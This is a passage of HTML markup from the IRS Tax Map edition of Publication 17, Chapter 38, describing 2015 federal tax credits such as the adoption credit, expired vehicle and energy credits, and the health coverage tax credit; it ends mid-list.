      ><tr
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_s.htm"
        >S</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_t.htm"
        >T</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_u.htm"
        >U</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_v.htm"
        >V</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_w.htm"
        >W</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_x.htm"
        >X</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_y.htm"
        >Y</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_z.htm"
        >Z</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_9.htm"
            title="Topics Beginning with Numbers or Symbols"
        >#</a
       ></td
      ></tr
     ></tbody
    ></table
   ></div
   >
   <hr class="lprule"
   >
   <div class="lpdiv"
    ><a href="../../taxmap/internationalindex.htm"
        title="Index of Topics for International Taxpayers"
    >International<br
     >Tax Topic Index</a
   ></div
   >
   <hr class="lprule"
   >
   <div class="lpdiv"
    ><a href="../../taxmap/acaindex.htm"
        title="Index of Topics about the Affordable Care Act (ACA)"
    >Affordable Care Act<br
     >Tax Topic Index</a
   ></div
   >
   <hr class="lprule"
   >
   <div class="lpdiv"
    ><a href="../../taxmap/eoindex.htm"
        title="Index of Topics about Exempt Organizations"
    >Exempt Organization<br
     >Tax Topic Index</a
   ></div
   >
   <hr class="lprule"
   >
   <div class="lpdiv"
    ><a href="../../taxmap/faqs/faqtoc.htm"
        id="faqlink"
    >FAQs<br
    ></a
    >
    <a href="../../taxmap/forms/formtoc.htm"
    >Forms</a
    ><br
    >
    <a href="../../taxmap/pubs/pubtoc.htm"
    >Publications</a
    ><br
    >
    <a href="../../taxmap/taxtp/Tt100_15-008.htm"
       id="ttoplink"
    >Tax Topics</a
    ><br
    >
    <a href="../../taxmap/ts0/worksheet_o_67184e2e.htm"
    >Worksheets</a
   ></div
   >
   <hr class="lprule"
   >
   <div class="lpdiv"
    ><a href="../../taxmap/comment.htm"
    >Comments</a
    ><br
    >
    <a href="../../taxmap/about.htm"
    >About Tax Map</a
    ><br
   ></div
   >
   <hr class="lprule"
   >
   <div class="lpdiv"
    ><a href="https://www.irs.gov/"
    >IRS.gov Website</a
   ></div
  ></div
  >
  <div class="rp"
       id="rightpane"
   ><div class="runninghd"
   >Publication 17</div
   >
   <table border="0"
          cellpadding="0"
          cellspacing="0"
          class="navbartop"
    ><tbody
     ><tr
      ><td align="center"
           height="18"
           width="100%"
      >
       <a class="navbarlink"
          href="../../taxmap/pub17/p17-187.htm"
          title="Publication 17 - Your Federal Income Tax (For Individuals) - How To Take the PTC"
        ><img alt="Left Arrow"
              src="../graphics/leftarr.gif"
        > Previous Page</a
       > |
       <a class="navbarlink"
          href="../../taxmap/pub17/p17toc.htm"
          title="Table of Contents for this Publication"
       >Table of Contents</a
       > |
       <a class="navbarlink"
          href="../../taxmap/pub17/p17_index.htm"
          title="Index for this Publication"
       >Index</a
       > |
       <a class="navbarlink"
          href="../../taxmap/pub17/p17-189.htm"
          title="Publication 17 - Your Federal Income Tax (For Individuals) - Refundable Credits"
       >Next Page
        <img alt="Right Arrow"
             src="../graphics/rightarr.gif"
       ></a
      ></td
     ></tr
    ></tbody
   ></table
   >
   <a name="en_us_publink1000174891"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174891</a
   ><a name="TXMP69955b6e"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h1 id="ch_38"
       >Chapter 38<br
        >Other Credits<a class="printpagenum"
                         title="Page number in printed version"
        >(p243)</a
       ></h1
       ><br
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><a id="TXMP3084f5f7"
   ></a
   ><a id="en_us_publink1000174892"
   ></a
   ><a name="TXMP63f3a2f8"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h3
       >What's New<a class="printpagenum"
                     title="Page number in printed version"
        >(p243)</a
       ></h3
       ><br
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pubs/p560-000.htm#TXMP2f584229"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/whatsnewinthepubli_o_3e9fc14a.htm"
         >What's New in the Publications</a
         ><a href="../../taxmap/pubs/p970-044.htm#TXMP2f584229"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><a id="en_us_publink100036049"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="iconpara"
    ><tbody
     ><tr
      ><td class="iconcell"
           valign="top"
       ><img alt="EIC"
             src="../graphics/caution.gif"
      ></td
      ><td valign="top"
       ><div class="p"
             id="TXMP4fa9a794"
       >At the time this publication was prepared for printing, Congress was considering legislation that could affect many of the credits discussed in this chapter. To see if the legislation was enacted, go to
        <a href="http://www.irs.gov/pub17"
           name="Pub 17 page on IRS.gov"
           title="Pub 17 page on IRS.gov"
        >www.irs.gov/pub17</a
        >.</div
      ></td
     ></tr
    ></tbody
   ></table
   ><a name="en_us_publink1000272991"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000272991</a
   ><div class="item"
    ><div class="itemhd"
     ><a name="TXMP1e74d234"
     ></a
     >Adoption credit.<a class="printpagenum"
                         title="Page number in printed version"
     >(p243)</a
    ></div
    ><div class="p"
          id="TXMP37e5fc38"
    >The maximum adoption credit is $13,400 for 2015. See
     <a class="crossref"
        href="../pub17/p17-188.htm#en_us_publink1000272996"
        id="en_us_publink1000289385"
      ><i
      >Adoption Credit</i
     ></a
     >.</div
   ></div
   ><a name="en_us_publink1000262520"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000262520</a
   ><div class="item"
    ><div class="itemhd"
     ><a name="TXMP6cb06e35"
     ></a
     >Excess withholding of social security and railroad retirement
tax.<a class="printpagenum"
       title="Page number in printed version"
     >(p243)</a
    ></div
    ><div class="p"
          id="TXMP6358ce61"
    >Social security tax and tier 1 railroad retirement (RRTA) tax were both withheld during 2015 at a rate of 6.2% of wages up to $118,500. If you worked for more than one employer and had too much social security or RRTA tax withheld during 2015, you may be entitled to a credit for the excess withholding. See
     <a class="crossref"
        href="../pub17/p17-189.htm#en_us_publink1000174990"
        id="en_us_publink1000262519"
      ><i
      >Credit for Excess Social Security Tax or Railroad Retirement Tax
Withheld</i
     ></a
     >.</div
   ></div
   ><a name="en_us_publink100036050"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink100036050</a
   ><div class="item"
    ><div class="itemhd"
     ><a name="TXMP4af2f9b4"
     ></a
     >Alternative fuel vehicle refueling credit.<a class="printpagenum"
                                                   title="Page number in printed version"
     >(p243)</a
    ></div
    ><div class="p"
          id="TXMP0f874a86"
    >The credit for alternative fuel vehicle refueling property has expired. You can't claim this credit for alternative fuel vehicle refueling property placed in service after 2014. However, a partner in a fiscal year partnership or shareholder of a fiscal year S corporation may receive an alternative fuel vehicle refueling property credit that must be reported on a 2015 return.
    </div
   ></div
   ><a name="en_us_publink100036051"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink100036051</a
   ><div class="item"
    ><div class="itemhd"
     ><a name="TXMP127fa88a"
     ></a
     >Alternative motor vehicle credit.<a class="printpagenum"
                                          title="Page number in printed version"
     >(p243)</a
    ></div
    ><div class="p"
          id="TXMP6f3d8b15"
    >The alternative motor vehicle credit has expired for vehicles purchased after 2014. However, if you purchased the vehicle before 2015, but placed it in service during 2015, you may still be able to claim the credit for 2015. Don't report vehicles purchased after 2014 on Form 8910 unless the credit is
extended.</div
   ></div
   ><a name="en_us_publink100036052"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink100036052</a
   ><div class="item"
    ><div class="itemhd"
     ><a name="TXMP62e00465"
     ></a
     >Residential energy credit.<a class="printpagenum"
                                   title="Page number in printed version"
     >(p243)</a
    ></div
    ><div class="p"
          id="TXMP5bef438d"
    >The nonbusiness energy property credit has expired. You can't claim this credit for nonbusiness energy property placed in service after 2014. You may, however, still be able to claim the residential energy efficient property
credit.</div
   ></div
   ><a name="en_us_publink100036053"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink100036053</a
   ><div class="item"
    ><div class="itemhd"
     ><a name="TXMP01457d79"
     ></a
     >Plug-in electric drive motor vehicle credit.<a class="printpagenum"
                                                     title="Page number in printed version"
     >(p243)</a
    ></div
    ><div class="p"
          id="TXMP40c6facf"
    >The credit for qualified two- or three-wheeled plug-in electric vehicles acquired after 2013 has
expired.</div
   ></div
   ><a name="en_us_publink100036054"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink100036054</a
   ><div class="item"
    ><div class="itemhd"
     ><a name="TXMP22d66a6b"
     ></a
     >Health coverage tax credit.<a class="printpagenum"
                                    title="Page number in printed version"
     >(p243)</a
    ></div
    ><div class="p"
          id="TXMP0fcd8d5e"
    >The
     <a class="crossref"
        href="../pub17/p17-189.htm#en_us_publink100036060"
        id="en_us_publink100036092"
     >health coverage tax credit</a
     >, which expired at the end of 2013 has been reinstated. For 2015, if you were an eligible trade adjustment assistance (TAA) recipient, alternative TAA recipient, reemployment TAA recipient, Pension Benefit Guarantee pension payee, or qualifying family member, you may be able to take the HCTC for health insurance coverage purchased through a Health Insurance Marketplace. Eligibility for the HCTC is generally the same as in 2013 with the following
changes.<ul
      ><li id="TXMP5380ea8c"
       ><a name="TXMP4930e9a2"
       ></a
       >The HCTC is now an election. Once you make the election to take the HCTC for a month, the election will apply to all subsequent months during your tax year unless you no longer qualify to take the HCTC. See
       <a class="crossref"
          href="../pub17/p17-189.htm#en_us_publink100036069"
          id="en_us_publink100036089"
        ><i
        >How to take the credit</i
       ></a
       > under
       <a class="crossref"
          href="../pub17/p17-189.htm#en_us_publink100036060"
          id="en_us_publink100036090"
        ><i
        >Health Coverage Tax Credit</i
       ></a
       >, below.</li
      ><li id="TXMP27c020fb"
       ><a name="TXMP0881c926"
       ></a
       >For 2015, you can take the HCTC for a qualified health plan purchased through a Health Insurance Marketplace. This insurance coverage also qualifies for the premium tax credit taken on Form 8962, Premium Tax Credit (PTC). You can&#8217;t take both the HCTC and PTC for the same qualified health plan in the same coverage month. For information on qualified health plans purchased through a Health Insurance Marketplace and the premium tax credit, see the Instructions for Form
8962.</li
     ></ul
    ></div
   ></div
   ><a name="en_us_publink1000177264"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000177264</a
   ><div class="p"
         id="TXMP2577cba9"
   >This chapter discusses the following nonrefundable credits.
    <ul
     ><li id="TXMP3fe50dd9"
      ><a name="TXMP67802dde"
      ></a
      ><a class="crossref"
          href="../pub17/p17-188.htm#en_us_publink1000272996"
          id="en_us_publink1000310470"
      >Adoption credit</a
      >.</li
     ><li id="TXMP09348424"
      ><a name="TXMP153b9728"
      ></a
      ><a class="crossref"
          href="../pub17/p17-188.htm#en_us_publink1000174914"
          id="en_us_publink1000310471"
      >Alternative motor vehicle credit</a
      >.</li
     ><li id="TXMP17fce2b7"
      ><a name="TXMP4686cdfd"
      ></a
      ><a class="crossref"
          href="../pub17/p17-188.htm#en_us_publink1000174923"
          id="en_us_publink1000310472"
      >Alternative fuel vehicle refueling property credit</a
      >.</li
     ><li id="TXMP1a264e18"
      ><a name="TXMP04536a0a"
      ></a
      ><a class="crossref"
          href="../pub17/p17-188.htm#en_us_publink1000174929"
          id="en_us_publink1000310473"
      >Credit to holders of tax credit bonds</a
      >.</li
     ><li id="TXMP462f595c"
      ><a name="TXMP15bf4dd2"
      ></a
      ><a class="crossref"
          href="../pub17/p17-188.htm#en_us_publink1000174933"
          id="en_us_publink1000310474"
      >Foreign tax credit</a
      >.</li
     ><li id="TXMP66b6965b"
      ><a name="TXMP338070f0"
      ></a
      ><a class="crossref"
          href="../pub17/p17-188.htm#en_us_publink1000174939"
          id="en_us_publink1000310475"
      >Mortgage interest credit</a
      >.</li
     ><li id="TXMP1c992f8e"
      ><a name="TXMP210fe66b"
      ></a
      ><a class="crossref"
          href="../pub17/p17-188.htm#en_us_publink1000174949"
          id="en_us_publink1000310476"
      >Nonrefundable credit for prior year minimum tax</a
      >.</li
     ><li id="TXMP11842327"
      ><a name="TXMP6116c4d0"
      ></a
      ><a class="crossref"
          href="../pub17/p17-188.htm#en_us_publink1000210768"
          id="en_us_publink1000310477"
      >Plug-in electric drive motor vehicle credit</a
      >.</li
     ><li id="TXMP2bf583bd"
      ><a name="TXMP305eefdf"
      ></a
      ><a class="crossref"
          href="../pub17/p17-188.htm#en_us_publink1000174954"
          id="en_us_publink1000310478"
      >Residential energy credit</a
      >.</li
     ><li id="TXMP179b834b"
      ><a name="TXMP6ad2f8f3"
      ></a
      ><a class="crossref"
          href="../pub17/p17-188.htm#en_us_publink1000174960"
          id="en_us_publink1000310479"
      >Retirement savings contributions credit</a
      >.</li
    ></ul
   ></div
   ><div class="p"
         id="TXMP617a8615"
   >This chapter also discusses the following refundable credits.
    <ul
     ><li id="TXMP47d7af16"
      ><a name="TXMP3e847aaa"
      ></a
      ><a class="crossref"
          href="../pub17/p17-189.htm#en_us_publink1000174965"
          id="en_us_publink1000310480"
      >Credit for tax on undistributed capital gain</a
      >.</li
     ><li id="TXMP530b5119"
      ><a name="TXMP0f5305ff"
      ></a
      ><a class="crossref"
          href="../pub17/p17-189.htm#en_us_publink100036060"
          id="en_us_publink100036082"
      >Health coverage tax credit</a
      >.</li
     ><li id="TXMP3c0b0ec3"
      ><a name="TXMP309a8195"
      ></a
      ><a class="crossref"
          href="../pub17/p17-189.htm#en_us_publink1000174990"
          id="en_us_publink1000310482"
      >Credit for excess social security tax or railroad retirement tax
withheld</a
      >.</li
    ></ul
   ></div
   ><div class="p"
         id="TXMP26273736"
   >Several other credits are discussed in other chapters in this publication.
    <ul
     ><li id="TXMP09483802"
      ><a name="TXMP34196b90"
      ></a
      >Child and dependent care credit (<a class="crossref"
                                           href="../pub17/p17-166.htm#en_us_publink1000174322"
                                           id="en_us_publink1000310827"
      >chapter 32</a
      >).</li
     ><li id="TXMP4370fd2b"
      ><a name="TXMP450aeac6"
      ></a
      >Credit for the elderly or the disabled (<a class="crossref"
                                                  href="../pub17/p17-170.htm#en_us_publink1000174464"
                                                  id="en_us_publink1000310828"
      >chapter 33</a
      >).</li
     ><li id="TXMP1b19a9f1"
      ><a name="TXMP0aff4384"
      ></a
      >Child tax credit (<a class="crossref"
                            href="../pub17/p17-172.htm#en_us_publink1000174526"
                            id="en_us_publink1000310829"
      >chapter 34</a
      >).</li
     ><li id="TXMP7b15928b"
      ><a name="TXMP170d8bfd"
      ></a
      >Education credits (<a class="crossref"
                             href="../pub17/p17-177.htm#en_us_publink1000174558"
                             id="en_us_publink1000310830"
      >chapter 35</a
      >).</li
     ><li id="TXMP4a31baba"
      ><a name="TXMP6ca22c60"
      ></a
      >Earned income credit (<a class="crossref"
                                href="../pub17/p17-179.htm#en_us_publink1000174655"
                                id="en_us_publink1000310485"
      >chapter 36</a
      >).</li
     ><li id="TXMP0c9162ac"
      ><a name="TXMP109e71a0"
      ></a
      >Premium tax credit (<a class="crossref"
                              href="../pub17/p17-185.htm#en_us_publink100019155"
                              id="en_us_publink100036055"
      >chapter 37</a
      >).</li
    ></ul
   ></div
   ><a name="en_us_publink1000174903"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174903</a
   ><a name="TXMP10c6e9bc"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Nonrefundable credits.<a class="printpagenum"
                                 title="Page number in printed version"
        >(p243)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pub17/p17-188.htm#TXMP23bb50f2"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/nonrefundablecredi_o_3d5d28d5.htm"
         >Nonrefundable Credit</a
         ><a href="../../taxmap/pub17/p17-188.htm#TXMP23bb50f2"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP6eaae894"
   >The first part of this chapter,
    <i
    >Nonrefundable Credits</i
    >, covers ten credits that you subtract from your tax. These credits may reduce your tax to zero. If these credits are more than your tax, the excess isn't refunded to
you.</div
   ><a name="en_us_publink1000174904"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174904</a
   ><a name="TXMP3d3c1a5b"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Refundable credits.<a class="printpagenum"
                              title="Page number in printed version"
        >(p243)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pub17/p17-189.htm#TXMP2b32b4d8"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/refundablecredit_o_7a50b19b.htm"
         >Refundable Credit</a
         ><a href="../../taxmap/pub17/p17-189.htm#TXMP2b32b4d8"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP649b9dd2"
   >The second part of this chapter,
    <i
    >Refundable Credits</i
    >, covers three credits that are treated as payments and are refundable to you. These credits are added to the federal income tax withheld and any estimated tax payments you made. If this total is more than your total tax, the excess may be refunded to
you.</div
   ><br
   ><a name="TXMP0b514dd7"
   ></a
   ><a class="semipersistentid"
   >taxmap/pub17/p17-188.htm#TXMP0b514dd7</a
   ><h4 id="TXMP0b514dd7"
   >Useful items</h4
   ><p
   >You may want to see:</p
   ><br
   ><div
    ><a name="TXMP5287262b"
    ></a
    ><b
    >Publication</b
    ><br
    >&#160;<b
     ><a class="tmloomAutolink"
         href="../pubs/p502toc.htm"
     >502</a
    ></b
    >&#160;<i
    >Medical and Dental Expenses</i
    ><br
    >&#160;<b
     ><a class="tmloomAutolink"
         href="../pubs/p514toc.htm"
     >514</a
    ></b
    >&#160;<i
    >Foreign Tax Credit for
     <br
     >Individuals</i
    ><br
    >&#160;<b
    >530</b
    >&#160;<i
    >Tax Information for Homeowners</i
    ><br
    >&#160;<b
    >590-A</b
    >&#160;<i
    >Contributions to Individual Retirement Arrangements (IRAs)</i
    ><br
    >&#160;<b
    >590-B</b
    >&#160;<i
    >Distributions from Individual Retirement Arrangements (IRAs)</i
    ><br
   ></div
   ><div
    ><a name="TXMP3911afbc"
    ></a
    ><b
    >Form (and Instructions)</b
    ><br
    ><b
    >&#160;1116:
    </b
    ><i
    >Foreign Tax Credit</i
    ><br
    ><b
    >&#160;2439:
    </b
    ><i
    >Notice to Shareholder of Undistributed Long-Term Capital Gains</i
    ><br
    ><b
    >&#160;5695:
    </b
    ><i
    >Residential Energy Credit</i
    ><br
    ><b
    >&#160;8396:
    </b
    ><i
    >Mortgage Interest Credit</i
    ><br
    ><b
    >&#160;8801:
    </b
    ><i
    >Credit For Prior Year Minimum Tax &#8212; Individuals, Estates, and
Trusts</i
    ><br
    ><b
    >&#160;8828:
    </b
    ><i
    >Recapture of Federal Mortgage Subsidy</i
    ><br
    ><b
    >&#160;8839:
    </b
    ><i
    >Qualified Adoption Expenses</i
    ><br
    ><b
    >&#160;8880:
    </b
    ><i
    >Credit for Qualified Retirement Savings Contributions</i
    ><br
    ><b
    >&#160;8885:
    </b
    ><i
    >Health Coverage Tax Credit</i
    ><br
    ><b
    >&#160;8910:
    </b
    ><i
    >Alternative Motor Vehicle Credit</i
    ><br
    ><b
    >&#160;8911:
    </b
    ><i
    >Alternative Fuel Vehicle Refueling Property Credit</i
    ><br
    ><b
    >&#160;8912:
    </b
    ><i
    >Credit to Holders of Tax Credit Bonds</i
    ><br
    ><b
    >&#160;8936:
    </b
    ><i
    >Qualified Plug-in Electric Drive Motor Vehicle Credit</i
    ><br
   ></div
   ><div class="p"
         id="TXMP3fa73281"
   ></div
   ><a name="en_us_publink1000174999"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000174999</a
   ><a name="TXMP23bb50f2"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h1
       >Nonrefundable Credits<a class="printpagenum"
                                title="Page number in printed version"
        >(p243)</a
       ></h1
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pub17/p17-188.htm#TXMP10c6e9bc"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/nonrefundablecredi_o_3d5d28d5.htm"
         >Nonrefundable Credit</a
         ><a href="../../taxmap/pub17/p17-188.htm#TXMP10c6e9bc"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP510a35a8"
   >The credits discussed in this part of the chapter can reduce your tax. However, if the total of these credits is more than your tax, the excess isn't refunded to
you.</div
   ><a name="en_us_publink1000272996"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000272996</a
   ><a name="TXMP7de629ac"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h2
       >Adoption Credit<a class="printpagenum"
                          title="Page number in printed version"
        >(p243)</a
       ></h2
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/taxtp/Tt600_15-004.htm#906"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/adoptioncredit_o_5ff26a88.htm"
         >Adoption Credit</a
         ><a href="../../taxmap/pubs/p551-001.htm#TXMP7fc79d27"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP6ac0a9fb"
   >You may be able to take a tax credit of up to $13,400 for qualified expenses paid to adopt an eligible child. The credit may be allowed for the adoption of a child with special needs even if you don't have any qualified
expenses.</div
   ><div class="p"
         id="TXMP2676efaa"
   >If your modified adjusted gross income (AGI) is more than $201,010, your credit is reduced. If your modified AGI is $241,010 or more, you can't take the credit.
   </div
   ><a name="en_us_publink1000272997"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000272997</a
   ><a name="TXMP0c44018f"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Qualified adoption expenses.<a class="printpagenum"
                                       title="Page number in printed version"
        >(p243)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrboth"
         ><a href="../../taxmap/pubs/p529-002.htm#TXMP44a37999"
          ><img alt="previous topic occurrence"
                border="0"
                height="9"
                src="../../taxmap/graphics/leftarr.gif"
                title="Previous Topic Occurrence"
                width="12"
          >&#160;</a
         ><a href="../../taxmap/ts0/adoptionexpenses_o_0b8b5195.htm"
         >Adoption Expenses</a
         ><a href="../../taxmap/pub17/p17-154.htm#TXMP44a37999"
         >&#160;<img alt="next topic occurrence"
                     border="0"
                     height="9"
                     src="../../taxmap/graphics/rightarr.gif"
                     title="Next Topic Occurrence"
                     width="12"
         ></a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP3d3db8dd"
   >Qualified adoption expenses are reasonable and necessary expenses directly related to, and whose principal purpose is for, the legal adoption of an eligible child. These expenses
include:<ul
     ><li id="TXMP4cdb2ccf"
      ><a name="TXMP0ca32231"
      ></a
      >Adoption fees,
     </li
     ><li id="TXMP1e484767"
      ><a name="TXMP7cf6cc83"
      ></a
      >Court costs,</li
     ><li id="TXMP1d61af12"
      ><a name="TXMP5d19a1ec"
      ></a
      >Attorney fees,</li
     ><li id="TXMP3a90c20c"
      ><a name="TXMP5a76fcff"
      ></a
      >Travel expenses (including amounts spent for meals and lodging) while away from home,
and</li
     ><li id="TXMP60e25462"
      ><a name="TXMP1b5e51d5"
      ></a
      >Re-adoption expenses to adopt a foreign child.</li
    ></ul
   ></div
   ><a name="en_us_publink1000272998"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000272998</a
   ><a name="TXMP5ae2bff3"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><span
        ><b
        >Nonqualified expenses.<a class="printpagenum"
                                  title="Page number in printed version"
         >(p244)</a
        ></b
       ></span
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP2d8706ef"
   >Qualified adoption expenses don't include expenses:
    <ul
     ><li id="TXMP3035afaf"
      ><a name="TXMP65034906"
      ></a
      >That violate state or federal law,</li
     ><li id="TXMP0d7b872d"
      ><a name="TXMP7de960da"
      ></a
      >For carrying out any surrogate parenting arrangement,</li
     ><li id="TXMP72ab4a1e"
      ><a name="TXMP634da06f"
      ></a
      >For the adoption of your spouse's child,</li
     ><li id="TXMP7b57ee33"
      ><a name="TXMP2faaff28"
      ></a
      >For which you received funds under any federal, state, or local
program,</li
     ><li id="TXMP5dd61b96"
      ><a name="TXMP0a3e0852"
      ></a
      >Allowed as a credit or deduction under any other federal income tax rule,
or</li
     ><li id="TXMP072dfa9e"
      ><a name="TXMP53d0eb85"
      ></a
      >Paid or reimbursed by your employer or any other person or
organization.</li
    ></ul
   ></div
   ><a name="en_us_publink1000272999"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000272999</a
   ><a name="TXMP4d1586b3"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><h4
       >Eligible child.<a class="printpagenum"
                          title="Page number in printed version"
        >(p244)</a
       ></h4
       ><img alt="rule"
             class="grayrule"
             src="../graphics/grayrl.gif"
      ></td
      ><td class="graybg"
       ><div class="small"
        ><div class="arrnone"
         ><a href="../../taxmap/ts0/eligiblechild_o_707358dd.htm"
         >Eligible Child</a
        ></div
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP67ba1b6f"
   >The term "eligible child" means any individual:
    <ul
     ><li id="TXMP58969b8b"
      ><a name="TXMP5dca314b"
      ></a
      >Under 18 years old, or</li
     ><li id="TXMP6f5d4079"
      ><a name="TXMP6e925820"
      ></a
      >Physically or mentally incapable of caring for himself or
herself.</li
    ></ul
   ></div
   ><a name="en_us_publink1000273000"
   ></a
   ><a class="persistentid"
   >taxmap/pub17/p17-188.htm#en_us_publink1000273000</a
   ><a name="TXMP52acb42f"
   ></a
   ><table border="0"
           cellpadding="0"
           cellspacing="0"
           class="headertbl"
    ><tbody
     ><tr
      ><td class="header"
       ><span
        ><b
        >Child with special needs.<a class="printpagenum"
                                     title="Page number in printed version"
         >(p244)</a
        ></b
       ></span
      ></td
      ><td class="graybg"
       ><div class="small"
       ></div
      ></td
     ></tr
    ></tbody
   ></table
   ><div class="p"
         id="TXMP7434a785"
   >An eligible child is a child with special needs if all three of the following apply.
    <ol
     ><li id="TXMP6203c15d"
      ><a name="TXMP038bf0f1"
      ></a
